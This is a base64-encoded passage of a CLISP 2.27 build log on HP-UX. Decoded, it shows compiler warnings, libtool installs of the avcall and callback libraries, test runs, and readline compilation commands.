ZyA1MDg6IFN0YXRlbWVudCBjYW4gbmV2ZXIgYmUgcmVhY2hlZC4KY2M6ICJwcmVkdHlwZS5kIiwg bGluZSAxMDEyOiB3YXJuaW5nIDUwODogU3RhdGVtZW50IGNhbiBuZXZlciBiZSByZWFjaGVkLgpj YzogInByZWR0eXBlLmQiLCBsaW5lIDEwMTI6IHdhcm5pbmcgNTA4OiBTdGF0ZW1lbnQgY2FuIG5l dmVyIGJlIHJlYWNoZWQuCmNjOiAicHJlZHR5cGUuZCIsIGxpbmUgMTAxMzogd2FybmluZyA1MDg6 IFN0YXRlbWVudCBjYW4gbmV2ZXIgYmUgcmVhY2hlZC4KY2M6ICJwcmVkdHlwZS5kIiwgbGluZSAx MDE0OiB3YXJuaW5nIDUwODogU3RhdGVtZW50IGNhbiBuZXZlciBiZSByZWFjaGVkLgpjYzogInBy ZWR0eXBlLmQiLCBsaW5lIDE0NjY6IHdhcm5pbmcgNTA4OiBTdGF0ZW1lbnQgY2FuIG5ldmVyIGJl IHJlYWNoZWQuCmNjOiAicHJlZHR5cGUuZCIsIGxpbmUgMTQ3NDogd2FybmluZyA1MDg6IFN0YXRl bWVudCBjYW4gbmV2ZXIgYmUgcmVhY2hlZC4KY2M6ICJwcmVkdHlwZS5kIiwgbGluZSAxNDc5OiB3 YXJuaW5nIDUwODogU3RhdGVtZW50IGNhbiBuZXZlciBiZSByZWFjaGVkLgpjYzogInByZWR0eXBl LmQiLCBsaW5lIDE1MTg6IHdhcm5pbmcgNTA4OiBTdGF0ZW1lbnQgY2FuIG5ldmVyIGJlIHJlYWNo ZWQuCmNjOiAicHJlZHR5cGUuZCIsIGxpbmUgMTc0Njogd2FybmluZyA1MDg6IFN0YXRlbWVudCBj YW4gbmV2ZXIgYmUgcmVhY2hlZC4KY2M6ICJwcmVkdHlwZS5kIiwgbGluZSAxNzQ5OiB3YXJuaW5n IDUwODogU3RhdGVtZW50IGNhbiBuZXZlciBiZSByZWFjaGVkLgpjYzogInByZWR0eXBlLmQiLCBs aW5lIDE3NTA6IHdhcm5pbmcgNTA4OiBTdGF0ZW1lbnQgY2FuIG5ldmVyIGJlIHJlYWNoZWQuCmNj OiAicHJlZHR5cGUuZCIsIGxpbmUgMTc1MTogd2FybmluZyA1MDg6IFN0YXRlbWVudCBjYW4gbmV2 ZXIgYmUgcmVhY2hlZC4KY2M6ICJwcmVkdHlwZS5kIiwgbGluZSAxNzUxOiB3YXJuaW5nIDUwODog U3RhdGVtZW50IGNhbiBuZXZlciBiZSByZWFjaGVkLgpjYzogInByZWR0eXBlLmQiLCBsaW5lIDI0 Nzg6IHdhcm5pbmcgNTA4OiBTdGF0ZW1lbnQgY2FuIG5ldmVyIGJlIHJlYWNoZWQuCmNjOiAicHJl ZHR5cGUuZCIsIGxpbmUgMjQ3OTogd2FybmluZyA1MDg6IFN0YXRlbWVudCBjYW4gbmV2ZXIgYmUg cmVhY2hlZC4KY2M6ICJwcmVkdHlwZS5kIiwgbGluZSAyNDk4OiB3YXJuaW5nIDUwODogU3RhdGVt ZW50IGNhbiBuZXZlciBiZSByZWFjaGVkLgpjYzogInByZWR0eXBlLmQiLCBsaW5lIDI0OTk6IHdh cm5pbmcgNTA4OiBTdGF0ZW1lbnQgY2FuIG5ldmVyIGJlIHJlYWNoZWQuCgljYyAtQWUgLVdwLC1I MTA0ODU3NiAtRFVOSUNPREUgLUREWU5BTUlDX0ZGSSAtYyBzeW1ib2wuYwpjcHA6ICJsaXNwYmli bC5kIiwgbGluZSA1NDg6IHdhcm5pbmcgMjAxMzogVW5rbm93biBwcmVwcm9jZXNzaW5nIGRpcmVj dGl2ZS4KY3BwOiAibGlzcGJpYmwuZCIsIGxpbmUgNTQ5OiB3YXJuaW5nIDIwMTM6IFVua25vd24g cHJlcHJvY2Vzc2luZyBkaXJlY3RpdmUuCmNwcDogImxpc3BiaWJsLmQiLCBsaW5lIDExMjQ6IHdh cm5pbmcgMjAwMTogUmVkZWZpbml0aW9uIG9mIG1hY3JvIE5VTEwuCgljYyAtQWUgLVdwLC1IMTA0 ODU3NiAtRFVOSUNPREUgLUREWU5BTUlDX0ZGSSAtYyBsaXNwYXJpdC5jCmNwcDogImxpc3BiaWJs LmQiLCBsaW5lIDU0ODogd2FybmluZyAyMDEzOiBVbmtub3duIHByZXByb2Nlc3NpbmcgZGlyZWN0 aXZlLgpjcHA6ICJsaXNwYmlibC5kIiwgbGluZSA1NDk6IHdhcm5pbmcgMjAxMzogVW5rbm93biBw cmVwcm9jZXNzaW5nIGRpcmVjdGl2ZS4KY3BwOiAibGlzcGJpYmwuZCIsIGxpbmUgMTEyNDogd2Fy bmluZyAyMDAxOiBSZWRlZmluaXRpb24gb2YgbWFjcm8gTlVMTC4KY3BwOiAiaW50bG9nLmQiLCBs aW5lIDE0ODogd2FybmluZyAyMDA2OiBQYXJhbWV0ZXIgaG9sZXMgZmlsbGVkIHdpdGggYSBudWxs IHN0cmluZy4KY3BwOiAiaW50bG9nLmQiLCBsaW5lIDE1NDogd2FybmluZyAyMDA2OiBQYXJhbWV0 ZXIgaG9sZXMgZmlsbGVkIHdpdGggYSBudWxsIHN0cmluZy4KY3BwOiAiaW50bG9nLmQiLCBsaW5l IDIyMDogd2FybmluZyAyMDA2OiBQYXJhbWV0ZXIgaG9sZXMgZmlsbGVkIHdpdGggYSBudWxsIHN0 cmluZy4KY3BwOiAiaW50bG9nLmQiLCBsaW5lIDIyNjogd2FybmluZyAyMDA2OiBQYXJhbWV0ZXIg aG9sZXMgZmlsbGVkIHdpdGggYSBudWxsIHN0cmluZy4KY3BwOiAiaW50bG9nLmQiLCBsaW5lIDI5 MDogd2FybmluZyAyMDA2OiBQYXJhbWV0ZXIgaG9sZXMgZmlsbGVkIHdpdGggYSBudWxsIHN0cmlu Zy4KY3BwOiAicmVhbHRyYW4uZCIsIGxpbmUgOTY6IHdhcm5pbmcgMjAwNjogUGFyYW1ldGVyIGhv bGVzIGZpbGxlZCB3aXRoIGEgbnVsbCBzdHJpbmcuCmNjOiAiaW50ZWxlbS5kIiwgbGluZSAxODE6 IHdhcm5pbmcgNTA4OiBTdGF0ZW1lbnQgY2FuIG5ldmVyIGJlIHJlYWNoZWQuCmNjOiAiaW50ZWxl bS5kIiwgbGluZSAxODI6IHdhcm5pbmcgNTA4OiBTdGF0ZW1lbnQgY2FuIG5ldmVyIGJlIHJlYWNo ZWQuCmNjOiAiaW50ZWxlbS5kIiwgbGluZSAyNDM6IHdhcm5pbmcgNTA4OiBTdGF0ZW1lbnQgY2Fu IG5ldmVyIGJlIHJlYWNoZWQuCmNjOiAiaW50ZWxlbS5kIiwgbGluZSAyNDk6IHdhcm5pbmcgNTA4 OiBTdGF0ZW1lbnQgY2FuIG5ldmVyIGJlIHJlYWNoZWQuCmNjOiAiaW50ZWxlbS5kIiwgbGluZSAy NTA6IHdhcm5pbmcgNTA4OiBTdGF0ZW1lbnQgY2FuIG5ldmVyIGJlIHJlYWNoZWQuCmNjOiAiaW50 ZWxlbS5kIiwgbGluZSAyNzQ6IHdhcm5pbmcgNTA4OiBTdGF0ZW1lbnQgY2FuIG5ldmVyIGJlIHJl YWNoZWQuCmNjOiAiaW50ZWxlbS5kIiwgbGluZSAyODA6IHdhcm5pbmcgNTA4OiBTdGF0ZW1lbnQg Y2FuIG5ldmVyIGJlIHJlYWNoZWQuCmNjOiAiaW50ZWxlbS5kIiwgbGluZSAyODE6IHdhcm5pbmcg NTA4OiBTdGF0ZW1lbnQgY2FuIG5ldmVyIGJlIHJlYWNoZWQuCmNjOiAiaW50ZWxlbS5kIiwgbGlu ZSAzMzk6IHdhcm5pbmcgNTA4OiBTdGF0ZW1lbnQgY2FuIG5ldmVyIGJlIHJlYWNoZWQuCmNjOiAi aW50ZWxlbS5kIiwgbGluZSAzNDA6IHdhcm5pbmcgNTA4OiBTdGF0ZW1lbnQgY2FuIG5ldmVyIGJl IHJlYWNoZWQuCmNjOiAiaW50ZWxlbS5kIiwgbGluZSA0Mzc6IHdhcm5pbmcgNTA4OiBTdGF0ZW1l bnQgY2FuIG5ldmVyIGJlIHJlYWNoZWQuCmNjOiAiaW50ZWxlbS5kIiwgbGluZSA0Mzg6IHdhcm5p bmcgNTA4OiBTdGF0ZW1lbnQgY2FuIG5ldmVyIGJlIHJlYWNoZWQuCmNjOiAiaW50ZWxlbS5kIiwg bGluZSA0OTA6IHdhcm5pbmcgNTA4OiBTdGF0ZW1lbnQgY2FuIG5ldmVyIGJlIHJlYWNoZWQuCmNj OiAiaW50ZWxlbS5kIiwgbGluZSA0OTE6IHdhcm5pbmcgNTA4OiBTdGF0ZW1lbnQgY2FuIG5ldmVy IGJlIHJlYWNoZWQuCmNjOiAiZmxvX3Jlc3QuZCIsIGxpbmUgMTI0ODogd2FybmluZyA1MDg6IFN0 YXRlbWVudCBjYW4gbmV2ZXIgYmUgcmVhY2hlZC4KY2M6ICJmbG9fcmVzdC5kIiwgbGluZSAxMjc2 OiB3YXJuaW5nIDUwODogU3RhdGVtZW50IGNhbiBuZXZlciBiZSByZWFjaGVkLgoJYnVpbGRkaXI9 ImBwd2RgIjsgY2QgYXZjYWxsICYmIG1ha2UgJiYgbWFrZSBjaGVjayAmJiBtYWtlIGluc3RhbGwt bGliIGxpYmRpcj0iJGJ1aWxkZGlyIiBpbmNsdWRlZGlyPSIkYnVpbGRkaXIiCglybSAtZiBhdmNh bGwubG8gYXZjYWxsLm8KCWxuIGF2Y2FsbC1ocHBhLmxvIGF2Y2FsbC5sbwoJaWYgdGVzdCAtZiBh dmNhbGwtaHBwYS5vOyB0aGVuIGxuIGF2Y2FsbC1ocHBhLm8gYXZjYWxsLm87IGZpCglybSAtZiBh dmNhbGwubG8gYXZjYWxsLm8KCWxuIGF2Y2FsbC1ocHBhLmxvIGF2Y2FsbC5sbwoJaWYgdGVzdCAt ZiBhdmNhbGwtaHBwYS5vOyB0aGVuIGxuIGF2Y2FsbC1ocHBhLm8gYXZjYWxsLm87IGZpCgkuL21p bml0ZXN0cyA+IG1pbml0ZXN0cy5vdXQKCXVuaXEgLXUgPCBtaW5pdGVzdHMub3V0ID4gbWluaXRl c3RzLm91dHB1dC5ocHBhMS4xLWhwLWhwdXgKCXRlc3QgJyEnIC1zIG1pbml0ZXN0cy5vdXRwdXQu aHBwYTEuMS1ocC1ocHV4CglybSAtZiBhdmNhbGwubG8gYXZjYWxsLm8KCWxuIGF2Y2FsbC1ocHBh LmxvIGF2Y2FsbC5sbwoJaWYgdGVzdCAtZiBhdmNhbGwtaHBwYS5vOyB0aGVuIGxuIGF2Y2FsbC1o cHBhLm8gYXZjYWxsLm87IGZpCglpZiBbICEgLWQgL25ldC9xbWFuL3BhdGNoZXMvc2F2ZS90YXJi YWxsL2NsaXNwLTIuMjcvc3JjIF0gOyB0aGVuIG1rZGlyIC9uZXQvcW1hbi9wYXRjaGVzL3NhdmUv dGFyYmFsbC9jbGlzcC0yLjI3L3NyYyA7IGZpCgkvYmluL3NoIC4vbGlidG9vbCAtLW1vZGU9aW5z dGFsbCAvb3B0L2ltYWtlL2Jpbi9pbnN0YWxsIC1jIC1tIDY0NCBsaWJhdmNhbGwubGEgL25ldC9x bWFuL3BhdGNoZXMvc2F2ZS90YXJiYWxsL2NsaXNwLTIuMjcvc3JjL2xpYmF2Y2FsbC5sYQovb3B0 L2ltYWtlL2Jpbi9pbnN0YWxsIC1jIC1tIDY0NCAubGlicy9saWJhdmNhbGwubGFpIC9uZXQvcW1h bi9wYXRjaGVzL3NhdmUvdGFyYmFsbC9jbGlzcC0yLjI3L3NyYy9saWJhdmNhbGwubGEKL29wdC9p bWFrZS9iaW4vaW5zdGFsbCAtYyAtbSA2NDQgLmxpYnMvbGliYXZjYWxsLmEgL25ldC9xbWFuL3Bh dGNoZXMvc2F2ZS90YXJiYWxsL2NsaXNwLTIuMjcvc3JjL2xpYmF2Y2FsbC5hCnJhbmxpYiAvbmV0 L3FtYW4vcGF0Y2hlcy9zYXZlL3RhcmJhbGwvY2xpc3AtMi4yNy9zcmMvbGliYXZjYWxsLmEKY2ht b2QgNjQ0IC9uZXQvcW1hbi9wYXRjaGVzL3NhdmUvdGFyYmFsbC9jbGlzcC0yLjI3L3NyYy9saWJh dmNhbGwuYQpsaWJ0b29sOiBpbnN0YWxsOiB3YXJuaW5nOiByZW1lbWJlciB0byBydW4gYGxpYnRv b2wgLS1maW5pc2ggL3Vzci9sb2NhbC9saWInCglpZiBbICEgLWQgL25ldC9xbWFuL3BhdGNoZXMv c2F2ZS90YXJiYWxsL2NsaXNwLTIuMjcvc3JjIF0gOyB0aGVuIG1rZGlyIC9uZXQvcW1hbi9wYXRj aGVzL3NhdmUvdGFyYmFsbC9jbGlzcC0yLjI3L3NyYyA7IGZpCgkvb3B0L2ltYWtlL2Jpbi9pbnN0 YWxsIC1jIC1tIDY0NCBhdmNhbGwuaCAvbmV0L3FtYW4vcGF0Y2hlcy9zYXZlL3RhcmJhbGwvY2xp c3AtMi4yNy9zcmMvYXZjYWxsLmgKCWJ1aWxkZGlyPSJgcHdkYCI7IGNkIGNhbGxiYWNrICYmIG1h a2UgJiYgbWFrZSBjaGVjayAmJiBtYWtlIGluc3RhbGwtbGliIGxpYmRpcj0iJGJ1aWxkZGlyIiBp bmNsdWRlZGlyPSIkYnVpbGRkaXIiCgljZCB2YWNhbGxfcjsgbWFrZSBhbGwKCXJtIC1mIHZhY2Fs bC5sbyB2YWNhbGwubwoJbG4gdmFjYWxsLWhwcGEubG8gdmFjYWxsLmxvCglpZiB0ZXN0IC1mIHZh Y2FsbC1ocHBhLm87IHRoZW4gbG4gdmFjYWxsLWhwcGEubyB2YWNhbGwubzsgZmkKCWNkIHRyYW1w b2xpbmVfcjsgbWFrZSBhbGwKCWxuIC1zIC4uLy4uLy4uL2ZmY2FsbC9jYWxsYmFjay90cmFtcG9s aW5lX3IvdHJhbXBvbGluZV9yLmguaW4gdHJhbXBvbGluZV9yLmgKbG46IHRyYW1wb2xpbmVfci5o IGV4aXN0cwoqKiogRXJyb3IgZXhpdCBjb2RlIDEgKGlnbm9yZWQpCgljZCB2YWNhbGxfcjsgbWFr ZSBhbGwKCXJtIC1mIHZhY2FsbC5sbyB2YWNhbGwubwoJbG4gdmFjYWxsLWhwcGEubG8gdmFjYWxs LmxvCglpZiB0ZXN0IC1mIHZhY2FsbC1ocHBhLm87IHRoZW4gbG4gdmFjYWxsLWhwcGEubyB2YWNh bGwubzsgZmkKCWNkIHRyYW1wb2xpbmVfcjsgbWFrZSBhbGwKCWxuIC1zIC4uLy4uLy4uL2ZmY2Fs bC9jYWxsYmFjay90cmFtcG9saW5lX3IvdHJhbXBvbGluZV9yLmguaW4gdHJhbXBvbGluZV9yLmgK bG46IHRyYW1wb2xpbmVfci5oIGV4aXN0cwoqKiogRXJyb3IgZXhpdCBjb2RlIDEgKGlnbm9yZWQp CgljZCB2YWNhbGxfcjsgbWFrZSBjaGVjawoJcm0gLWYgdmFjYWxsLmxvIHZhY2FsbC5vCglsbiB2 YWNhbGwtaHBwYS5sbyB2YWNhbGwubG8KCWlmIHRlc3QgLWYgdmFjYWxsLWhwcGEubzsgdGhlbiBs biB2YWNhbGwtaHBwYS5vIHZhY2FsbC5vOyBmaQoJY2QgdHJhbXBvbGluZV9yOyBtYWtlIGNoZWNr CglsbiAtcyAuLi8uLi8uLi9mZmNhbGwvY2FsbGJhY2svdHJhbXBvbGluZV9yL3RyYW1wb2xpbmVf ci5oLmluIHRyYW1wb2xpbmVfci5oCmxuOiB0cmFtcG9saW5lX3IuaCBleGlzdHMKKioqIEVycm9y IGV4aXQgY29kZSAxIChpZ25vcmVkKQoJLi90ZXN0MQpXb3JrcywgdGVzdDEgcGFzc2VkLgoJLi90 ZXN0Mgp0ZXN0MiBwYXNzZWQuCgl0b3VjaCB0ZXN0cy5wYXNzZWQuaHBwYTEuMS1ocC1ocHV4Cgku L21pbml0ZXN0cyA+IG1pbml0ZXN0cy5vdXQKCXVuaXEgLXUgPCBtaW5pdGVzdHMub3V0ID4gbWlu aXRlc3RzLm91dHB1dC5ocHBhMS4xLWhwLWhwdXgKCXRlc3QgJyEnIC1zIG1pbml0ZXN0cy5vdXRw dXQuaHBwYTEuMS1ocC1ocHV4CgljZCB2YWNhbGxfcjsgbWFrZSBhbGwKCXJtIC1mIHZhY2FsbC5s byB2YWNhbGwubwoJbG4gdmFjYWxsLWhwcGEubG8gdmFjYWxsLmxvCglpZiB0ZXN0IC1mIHZhY2Fs bC1ocHBhLm87IHRoZW4gbG4gdmFjYWxsLWhwcGEubyB2YWNhbGwubzsgZmkKCWNkIHRyYW1wb2xp bmVfcjsgbWFrZSBhbGwKCWxuIC1zIC4uLy4uLy4uL2ZmY2FsbC9jYWxsYmFjay90cmFtcG9saW5l X3IvdHJhbXBvbGluZV9yLmguaW4gdHJhbXBvbGluZV9yLmgKbG46IHRyYW1wb2xpbmVfci5oIGV4 aXN0cwoqKiogRXJyb3IgZXhpdCBjb2RlIDEgKGlnbm9yZWQpCgljZCB2YWNhbGxfcjsgbWFrZSBp bnN0YWxsLWxpYiBsaWJkaXI9Jy9uZXQvcW1hbi9wYXRjaGVzL3NhdmUvdGFyYmFsbC9jbGlzcC0y LjI3L3NyYycgaW5jbHVkZWRpcj0nL25ldC9xbWFuL3BhdGNoZXMvc2F2ZS90YXJiYWxsL2NsaXNw LTIuMjcvc3JjJwoJcm0gLWYgdmFjYWxsLmxvIHZhY2FsbC5vCglsbiB2YWNhbGwtaHBwYS5sbyB2 YWNhbGwubG8KCWlmIHRlc3QgLWYgdmFjYWxsLWhwcGEubzsgdGhlbiBsbiB2YWNhbGwtaHBwYS5v IHZhY2FsbC5vOyBmaQoJaWYgWyAhIC1kIC9uZXQvcW1hbi9wYXRjaGVzL3NhdmUvdGFyYmFsbC9j bGlzcC0yLjI3L3NyYyBdIDsgdGhlbiBta2RpciAvbmV0L3FtYW4vcGF0Y2hlcy9zYXZlL3RhcmJh bGwvY2xpc3AtMi4yNy9zcmMgOyBmaQoJL29wdC9pbWFrZS9iaW4vaW5zdGFsbCAtYyAtbSA2NDQg dmFjYWxsX3IuaCAvbmV0L3FtYW4vcGF0Y2hlcy9zYXZlL3RhcmJhbGwvY2xpc3AtMi4yNy9zcmMv dmFjYWxsX3IuaAoJY2QgdHJhbXBvbGluZV9yOyBtYWtlIGluc3RhbGwtbGliIGxpYmRpcj0nL25l dC9xbWFuL3BhdGNoZXMvc2F2ZS90YXJiYWxsL2NsaXNwLTIuMjcvc3JjJyBpbmNsdWRlZGlyPScv bmV0L3FtYW4vcGF0Y2hlcy9zYXZlL3RhcmJhbGwvY2xpc3AtMi4yNy9zcmMnCglsbiAtcyAuLi8u Li8uLi9mZmNhbGwvY2FsbGJhY2svdHJhbXBvbGluZV9yL3RyYW1wb2xpbmVfci5oLmluIHRyYW1w b2xpbmVfci5oCmxuOiB0cmFtcG9saW5lX3IuaCBleGlzdHMKKioqIEVycm9yIGV4aXQgY29kZSAx IChpZ25vcmVkKQoJaWYgWyAhIC1kIC9uZXQvcW1hbi9wYXRjaGVzL3NhdmUvdGFyYmFsbC9jbGlz cC0yLjI3L3NyYyBdIDsgdGhlbiBta2RpciAvbmV0L3FtYW4vcGF0Y2hlcy9zYXZlL3RhcmJhbGwv Y2xpc3AtMi4yNy9zcmMgOyBmaQoJL29wdC9pbWFrZS9iaW4vaW5zdGFsbCAtYyAtbSA2NDQgdHJh bXBvbGluZV9yLmggL25ldC9xbWFuL3BhdGNoZXMvc2F2ZS90YXJiYWxsL2NsaXNwLTIuMjcvc3Jj L3RyYW1wb2xpbmVfci5oCglpZiBbICEgLWQgL25ldC9xbWFuL3BhdGNoZXMvc2F2ZS90YXJiYWxs L2NsaXNwLTIuMjcvc3JjIF0gOyB0aGVuIG1rZGlyIC9uZXQvcW1hbi9wYXRjaGVzL3NhdmUvdGFy YmFsbC9jbGlzcC0yLjI3L3NyYyA7IGZpCgkvYmluL3NoIC4vbGlidG9vbCAtLW1vZGU9aW5zdGFs bCAvb3B0L2ltYWtlL2Jpbi9pbnN0YWxsIC1jIC1tIDY0NCBsaWJjYWxsYmFjay5sYSAvbmV0L3Ft YW4vcGF0Y2hlcy9zYXZlL3RhcmJhbGwvY2xpc3AtMi4yNy9zcmMvbGliY2FsbGJhY2subGEKL29w dC9pbWFrZS9iaW4vaW5zdGFsbCAtYyAtbSA2NDQgLmxpYnMvbGliY2FsbGJhY2subGFpIC9uZXQv cW1hbi9wYXRjaGVzL3NhdmUvdGFyYmFsbC9jbGlzcC0yLjI3L3NyYy9saWJjYWxsYmFjay5sYQov b3B0L2ltYWtlL2Jpbi9pbnN0YWxsIC1jIC1tIDY0NCAubGlicy9saWJjYWxsYmFjay5hIC9uZXQv cW1hbi9wYXRjaGVzL3NhdmUvdGFyYmFsbC9jbGlzcC0yLjI3L3NyYy9saWJjYWxsYmFjay5hCnJh bmxpYiAvbmV0L3FtYW4vcGF0Y2hlcy9zYXZlL3RhcmJhbGwvY2xpc3AtMi4yNy9zcmMvbGliY2Fs bGJhY2suYQpjaG1vZCA2NDQgL25ldC9xbWFuL3BhdGNoZXMvc2F2ZS90YXJiYWxsL2NsaXNwLTIu Mjcvc3JjL2xpYmNhbGxiYWNrLmEKbGlidG9vbDogaW5zdGFsbDogd2FybmluZzogcmVtZW1iZXIg dG8gcnVuIGBsaWJ0b29sIC0tZmluaXNoIC91c3IvbG9jYWwvbGliJwoJaWYgWyAhIC1kIC9uZXQv cW1hbi9wYXRjaGVzL3NhdmUvdGFyYmFsbC9jbGlzcC0yLjI3L3NyYyBdIDsgdGhlbiBta2RpciAv bmV0L3FtYW4vcGF0Y2hlcy9zYXZlL3RhcmJhbGwvY2xpc3AtMi4yNy9zcmMgOyBmaQoJL29wdC9p bWFrZS9iaW4vaW5zdGFsbCAtYyAtbSA2NDQgY2FsbGJhY2suaCAvbmV0L3FtYW4vcGF0Y2hlcy9z YXZlL3RhcmJhbGwvY2xpc3AtMi4yNy9zcmMvY2FsbGJhY2suaAoJY2MgLUFlIC1XcCwtSDEwNDg1 NzYgLURVTklDT0RFIC1ERFlOQU1JQ19GRkkgLWMgZm9yZWlnbi5jCmNwcDogImxpc3BiaWJsLmQi LCBsaW5lIDU0ODogd2FybmluZyAyMDEzOiBVbmtub3duIHByZXByb2Nlc3NpbmcgZGlyZWN0aXZl LgpjcHA6ICJsaXNwYmlibC5kIiwgbGluZSA1NDk6IHdhcm5pbmcgMjAxMzogVW5rbm93biBwcmVw cm9jZXNzaW5nIGRpcmVjdGl2ZS4KY3BwOiAibGlzcGJpYmwuZCIsIGxpbmUgMTEyNDogd2Fybmlu ZyAyMDAxOiBSZWRlZmluaXRpb24gb2YgbWFjcm8gTlVMTC4KY2M6ICJmb3JlaWduLmQiLCBsaW5l IDQwNTogd2FybmluZyA2MDQ6IFBvaW50ZXJzIGFyZSBub3QgYXNzaWdubWVudC1jb21wYXRpYmxl LgpjYzogImZvcmVpZ24uZCIsIGxpbmUgNDg1OiB3YXJuaW5nIDYwNDogUG9pbnRlcnMgYXJlIG5v dCBhc3NpZ25tZW50LWNvbXBhdGlibGUuCmNjOiAiZm9yZWlnbi5kIiwgbGluZSA0ODU6IHdhcm5p bmcgNTYzOiBBcmd1bWVudCAjMSBpcyBub3QgdGhlIGNvcnJlY3QgdHlwZS4KCWNjIC1BZSAtV3As LUgxMDQ4NTc2IC1EVU5JQ09ERSAtRERZTkFNSUNfRkZJIC1jIHVuaXhhdXguYwpjcHA6ICJsaXNw YmlibC5kIiwgbGluZSA1NDg6IHdhcm5pbmcgMjAxMzogVW5rbm93biBwcmVwcm9jZXNzaW5nIGRp cmVjdGl2ZS4KY3BwOiAibGlzcGJpYmwuZCIsIGxpbmUgNTQ5OiB3YXJuaW5nIDIwMTM6IFVua25v d24gcHJlcHJvY2Vzc2luZyBkaXJlY3RpdmUuCmNwcDogImxpc3BiaWJsLmQiLCBsaW5lIDExMjQ6 IHdhcm5pbmcgMjAwMTogUmVkZWZpbml0aW9uIG9mIG1hY3JvIE5VTEwuCgljYyAtQWUgLUUgYXJp aHBwYS5jIHwgZ3JlcCAtdiAnXiMnIHwgZ3JlcCAtdiAnXiAqI2xpbmUnIHwgc2VkIC1lICdzLCUg LCUsZycgLWUgJ3MsXC4gLC4sZycgPiBhcmlocHBhLnMKCWNjIC1BZSAtV3AsLUgxMDQ4NTc2IC1E VU5JQ09ERSAtRERZTkFNSUNfRkZJIC1jIGFyaWhwcGEucyB8fCAvdXNyL2Njcy9iaW4vYXMgYXJp aHBwYS5zIC1vIGFyaWhwcGEubyB8fCAvYmluL2FzIGFyaWhwcGEucyAtbyBhcmlocHBhLm8KYXM6 ICJhcmlocHBhLnMiLCBsaW5lIDU2OiB3YXJuaW5nIDM2OiBVc2Ugb2YgWE1QWVUgaXMgaW5jb3Jy ZWN0IGZvciB0aGUgY3VycmVudCBMRVZFTCBvZiAxLjAKCWNjIC1BZSAtV3AsLUgxMDQ4NTc2IC1E VU5JQ09ERSAtRERZTkFNSUNfRkZJIC1EVVNHIC1ETUVNTU9WRV9NSVNTSU5HIC1jIG1hbGxvYy9n bWFsbG9jLmMgLW8gZ21hbGxvYy5vCgljYyAtQWUgLVdwLC1IMTA0ODU3NiAtRFVOSUNPREUgLURE WU5BTUlDX0ZGSSAtYyBnZW5jbGlzcGguYwpjcHA6ICJsaXNwYmlibC5kIiwgbGluZSA1NDg6IHdh cm5pbmcgMjAxMzogVW5rbm93biBwcmVwcm9jZXNzaW5nIGRpcmVjdGl2ZS4KY3BwOiAibGlzcGJp YmwuZCIsIGxpbmUgNTQ5OiB3YXJuaW5nIDIwMTM6IFVua25vd24gcHJlcHJvY2Vzc2luZyBkaXJl Y3RpdmUuCmNwcDogImxpc3BiaWJsLmQiLCBsaW5lIDExMjQ6IHdhcm5pbmcgMjAwMTogUmVkZWZp bml0aW9uIG9mIG1hY3JvIE5VTEwuCgljYyAtQWUgLVdwLC1IMTA0ODU3NiAtRFVOSUNPREUgLURE WU5BTUlDX0ZGSSAgZ2VuY2xpc3BoLm8gLW8gZ2VuY2xpc3BoCgkoZWNobyAnI2lmbmRlZiBfQ0xJ U1BfSCcgOyBlY2hvICcjZGVmaW5lIF9DTElTUF9IJyA7IGVjaG8gOyBncmVwICdeIycgdW5peGNv bmYuaCA7IGVjaG8gOyBncmVwICdeIycgaW50cGFyYW0uaCA7IGVjaG8gOyAuL2dlbmNsaXNwaCA7 IGVjaG8gOyBlY2hvICcjZW5kaWYgLyogX0NMSVNQX0ggKi8nKSA+IGNsaXNwLmgKCXJtIC1mIGdl bmNsaXNwaAoJY2MgLUFlIC1XcCwtSDEwNDg1NzYgLURVTklDT0RFIC1ERFlOQU1JQ19GRkkgLWMg bW9kdWxlcy5jCgljZCByZWFkbGluZSAmJiBtYWtlIENDPSdjYyAtQWUgLVdwLC1IMTA0ODU3Nicg Q0ZMQUdTPSctRFVOSUNPREUgLUREWU5BTUlDX0ZGSSAtRENMSVNQJyBSQU5MSUI9J3JhbmxpYicK CWNjIC1BZSAtV3AsLUgxMDQ4NTc2IC1jIC1ESEFWRV9DT05GSUdfSCAgIC1JLiAtSS4gLUkvdXNy L2xvY2FsL2luY2x1ZGUgLURSTF9MSUJSQVJZX1ZFUlNJT049JyI0LjEiJyAtRFVOSUNPREUgLURE WU5BTUlDX0ZGSSAtRENMSVNQIHJlYWRsaW5lLmMKCWNjIC1BZSAtV3AsLUgxMDQ4NTc2IC1jIC1E SEFWRV9DT05GSUdfSCAgIC1JLiAtSS4gLUkvdXNyL2xvY2FsL2luY2x1ZGUgLURSTF9MSUJSQVJZ X1ZFUlNJT049JyI0LjEiJyAtRFVOSUNPREUgLUREWU5BTUlDX0ZGSSAtRENMSVNQIHZpX21vZGUu YwoJY2MgLUFlIC1XcCwtSDEwNDg1NzYgLWMgLURIQVZFX0NPTkZJR19IICAgLUkuIC1JLiAtSS91 c3IvbG9jYWwvaW5jbHVkZSAtRFJMX0xJQlJBUllfVkVSU0lPTj0nIjQuMSInIC1EVU5JQ09ERSAt RERZTkFNSUNfRkZJIC1EQ0xJU1AgZnVubWFwLmMKCWNjIC1BZSAtV3AsLUgxMDQ4NTc2IC1jIC1E SEFWRV9DT05GSUdfSCAgIC1JLiAtSS4gLUkvdXNyL2xvY2FsL2luY2x1ZGUgLURSTF9MSUJSQVJZ X1ZFUlNJT049JyI0LjEiJyAtRFVOSUNPREUgLUREWU5BTUlDX0ZGSSAtRENMSVNQIGtleW1hcHMu YwoJY2MgLUFlIC1XcCwtSDEwNDg1NzYgLWMgLURIQVZFX0NPTkZJR19IICAgLUkuIC1JLiAtSS91 c3IvbG9jYWwvaW5jbHVkZSAtRFJMX0xJQlJBUllfVkVSU0lPTj0nIjQuMSInIC1EVU5JQ09ERSAt RERZTkFNSUNfRkZJIC1EQ0xJU1AgcGFyZW5zLmMKCWNjIC1BZSAtV3AsLUgxMDQ4NTc2IC1jIC1E SEFWRV9DT05GSUdfSCAgIC1JLiAtSS4gLUkvdXNyL2xvY2FsL2luY2x1ZGUgLURSTF9MSUJSQVJZ X1ZFUlNJT049JyI0LjEiJyAtRFVOSUNPREUgLUREWU5BTUlDX0ZGSSAtRENMSVNQIHNlYXJjaC5j CgljYyAtQWUgLVdwLC1IMTA0ODU3NiAtYyAtREhBVkVfQ09ORklHX0ggICAtSS4gLUkuIC1JL3Vz ci9sb2NhbC9pbmNsdWRlIC1EUkxfTElCUkFSWV9WRVJTSU9OPSciNC4xIicgLURVTklDT0RFIC1E RFlOQU1JQ19GRkkgLURDTElTUCBybHR0eS5jCgljYyAtQWUgLVdwLC1IMTA0ODU3NiAtYyAtREhB 